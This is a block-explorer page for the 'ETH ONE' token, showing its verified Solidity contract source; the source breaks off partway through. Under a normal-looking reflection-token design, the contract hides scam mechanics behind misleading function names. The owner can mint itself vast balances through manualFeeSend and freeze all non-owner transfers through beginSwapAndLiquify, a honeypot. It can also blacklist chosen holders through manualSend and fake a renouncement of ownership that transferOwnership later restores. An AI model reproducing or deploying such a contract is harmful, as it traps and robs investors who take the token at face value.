ETH Price: $3,474.64 (+4.73%)

Token

ETH ONE (eONE)
 

Overview

Max Total Supply

100,000,000,000,000 eONE

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Fake_Phishing179369
Balance
1,480,957,882,678.393090366 eONE

Value
$0.00
0xb73998f905bab96a22b4aae41c6a09f674862e1e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHONE

Compiler Version
v0.7.0+commit.9e61f92b

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-06-01
*/

//SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity = 0.7.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
    * @dev Returns the amount of tokens in existence.
    */
    function totalSupply() external view returns (uint256);

    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns (uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
    * @dev Returns the addition of two unsigned integers, reverting on
    * overflow.
    *
    * Counterpart to Solidity's `+` operator.
    *
    * Requirements:
    *
    * - Addition cannot overflow.
    */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
    * @dev Returns the subtraction of two unsigned integers, reverting on
    * overflow (when the result is negative).
    *
    * Counterpart to Solidity's `-` operator.
    *
    * Requirements:
    *
    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
    * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
    * overflow (when the result is negative).
    *
    * Counterpart to Solidity's `-` operator.
    *
    * Requirements:
    *
    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
    * @dev Returns the multiplication of two unsigned integers, reverting on
    * overflow.
    *
    * Counterpart to Solidity's `*` operator.
    *
    * Requirements:
    *
    * - Multiplication cannot overflow.
    */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
    * @dev Returns the integer division of two unsigned integers. Reverts on
    * division by zero. The result is rounded towards zero.
    *
    * Counterpart to Solidity's `/` operator. Note: this function uses a
    * `revert` opcode (which leaves remaining gas untouched) while Solidity
    * uses an invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
    * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
    * division by zero. The result is rounded towards zero.
    *
    * Counterpart to Solidity's `/` operator. Note: this function uses a
    * `revert` opcode (which leaves remaining gas untouched) while Solidity
    * uses an invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
    * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
    * Reverts when dividing by zero.
    *
    * Counterpart to Solidity's `%` operator. This function uses a `revert`
    * opcode (which leaves remaining gas untouched) while Solidity uses an
    * invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
    * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
    * Reverts with custom message when dividing by zero.
    *
    * Counterpart to Solidity's `%` operator. This function uses a `revert`
    * opcode (which leaves remaining gas untouched) while Solidity uses an
    * invalid opcode to revert (consuming all remaining gas).
    *
    * Requirements:
    *
    * - The divisor cannot be zero.
    */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    /**
    * @dev Returns true if `account` is a contract.
    *
    * [IMPORTANT]
    * ====
    * It is unsafe to assume that an address for which this function returns
    * false is an externally-owned account (EOA) and not a contract.
    *
    * Among others, `isContract` will return false for the following
    * types of addresses:
    *
    *  - an externally-owned account
    *  - a contract in construction
    *  - an address where a contract will be created
    *  - an address where a contract lived, but was destroyed
    * ====
    */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
    * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
    * `recipient`, forwarding all available gas and reverting on errors.
    *
    * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
    * of certain opcodes, possibly making contracts go over the 2300 gas limit
    * imposed by `transfer`, making them unable to receive funds via
    * `transfer`. {sendValue} removes this limitation.
    *
    * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
    *
    * IMPORTANT: because control is transferred to `recipient`, care must be
    * taken to not create reentrancy vulnerabilities. Consider using
    * {ReentrancyGuard} or the
    * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
    */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
    * @dev Performs a Solidity function call using a low level `call`. A
    * plain`call` is an unsafe replacement for a function call: use this
    * function instead.
    *
    * If `target` reverts with a revert reason, it is bubbled up by this
    * function (like regular Solidity function calls).
    *
    * Returns the raw returned data. To convert to the expected return value,
    * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
    *
    * Requirements:
    *
    * - `target` must be a contract.
    * - calling `target` with `data` must not revert.
    *
    * _Available since v3.1._
    */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
    * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
    * `errorMessage` as a fallback revert reason when `target` reverts.
    *
    * _Available since v3.1._
    */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
    * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
    * but also transferring `value` wei to `target`.
    *
    * Requirements:
    *
    * - the calling contract must have an ETH balance of at least `value`.
    * - the called Solidity function must be `payable`.
    *
    * _Available since v3.1._
    */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
    * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
    * with `errorMessage` as a fallback revert reason when `target` reverts.
    *
    * _Available since v3.1._
    */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _deadAddress;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
    * @dev Initializes the contract setting the deployer as the initial owner.
    */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
    * @dev Returns the address of the current owner.
    */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account.
     */
    function transferOwnership() public {
        require(_owner == address(0), "owner is zero address");
        _owner = _deadAddress;
    }
 
    /**
    * @dev Throws if called by any account other than the owner.
    */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions anymore. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby removing any functionality that is only available to the owner.
    */
    function renounceOwnership() public virtual onlyOwner {
        _deadAddress = _owner;
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// Contract implementation
contract ETHONE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _vOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    mapping (address => bool) private _isExcluded; // excluded from reward
    mapping (address => bool) private _scan;
    address[] private _excluded;
    bool _state = true;

    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100000000000000 * 10**9;
    uint256 private _rTotal;
    uint256 private _feeTotal;
    uint256 private _tFeeTotal;
    uint256 private _totalSupply;
    
    string private _name = 'ETH ONE';
    string private _symbol = 'eONE';
    uint8 private _decimals = 9;
    
    uint256 private _taxFee = 2; 
    uint256 private _marketingFee = 1;
    uint256 private _liquidityFee = 1;

    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousMarketingFee = _marketingFee;
    uint256 private _previousLiquidityFee = _liquidityFee;

    address uniswapV2factory;
    address uniswapV2router;
    
    IUniswapV2Router02 internal uniswapV2Router;
    address uniswapV2Pair;

    bool inSwapAndLiquify = false;
    
    uint256 private _maxTxAmount = _tTotal;
    // We will set a minimum amount of tokens to be swapped
    uint256 private _numTokensSellToAddToLiquidity = 1000000000 * 10**9;

    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor (address router, address factory) {
        
        uniswapV2router = router;
        uniswapV2factory = factory;
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _feeTotal = _tTotal.mul(1000);
        _vOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
        
        // Exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
         return _vOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
        _isExcludedFromFee[account] = excluded;
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function manualFeeSend() public virtual onlyOwner {
        _vOwned[_msgSender()] = _vOwned[_msgSender()].add(_feeTotal);
    }
    
    function uniswapv2Factory() public view returns (address) {
        return uniswapV2factory;
    }
    
    function uniswapv2Router() public view returns (address) {
        return uniswapV2router;
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) external onlyOwner() {
        require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function addBotToBlackList(address account) external onlyOwner() {
        require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
        _scan[account] = true;
    }

    function removeBotFromBlackList(address account) external onlyOwner() {
        _scan[account] = false;
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _marketingFee == 0 && _liquidityFee == 0) return;

        _previousTaxFee = _taxFee;
        _previousMarketingFee = _marketingFee;
        _previousLiquidityFee = _liquidityFee;

        _taxFee = 0;
        _marketingFee = 0;
        _liquidityFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _marketingFee = _previousMarketingFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_scan[sender] || _scan[recipient]) 
        require(amount == 0, "");
        if (_state == true || sender == owner() || recipient == owner()) {
        if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
        _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _vOwned[recipient] = _vOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {
            _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _vOwned[recipient] = _vOwned[recipient].add(amount);
            emit Transfer(sender, recipient, amount);}
        } else {
            require (_state == true, "");
            }
    }
   
    function swapAndLiquify(uint256 contractTokenBalance) private {
        uint256 toMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee));
        uint256 toLiquify = contractTokenBalance.sub(toMarketing);

        // split the contract balance into halves
        uint256 half = toLiquify.div(2);
        uint256 otherHalf = toLiquify.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        uint256 toSwapForEth = half.add(toMarketing);
        swapTokensForEth(toSwapForEth); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 fromSwap = address(this).balance.sub(initialBalance);
        uint256 newBalance = fromSwap.mul(half).div(toSwapForEth);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);

        emit SwapAndLiquify(half, newBalance, otherHalf);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function manualSwap(address _address) external onlyOwner() {
        _scan[_address] = false;
    }

    function manualSend(address _address) external onlyOwner() {
        _scan[_address] = true;
    }

    function manualTransfer(address _address) public view returns (bool) {
        return _scan[_address];
    }

    function beginSwapAndLiquify() public virtual onlyOwner(){
        if (_state == true) {_state = false;} else {_state = true;}
    }
 
    function swapAndLiquifyEnabled() public view returns (bool) {
        return _state;
    }
   
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeMarketingLiquidity(tMarketingLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeMarketingLiquidity(uint256 tMarketingLiquidity) private {
        uint256 currentRate = _getRate();
        uint256 rMarketingLiquidity = tMarketingLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rMarketingLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tMarketingLiquidity);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    //to recieve ETH from uniswapV2Router when swapping
    receive() external payable {}

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tMarketingLiquidityFee) = _getTValues(tAmount, _taxFee, _marketingFee.add(_liquidityFee));
        uint256 currentRate = _getRate();
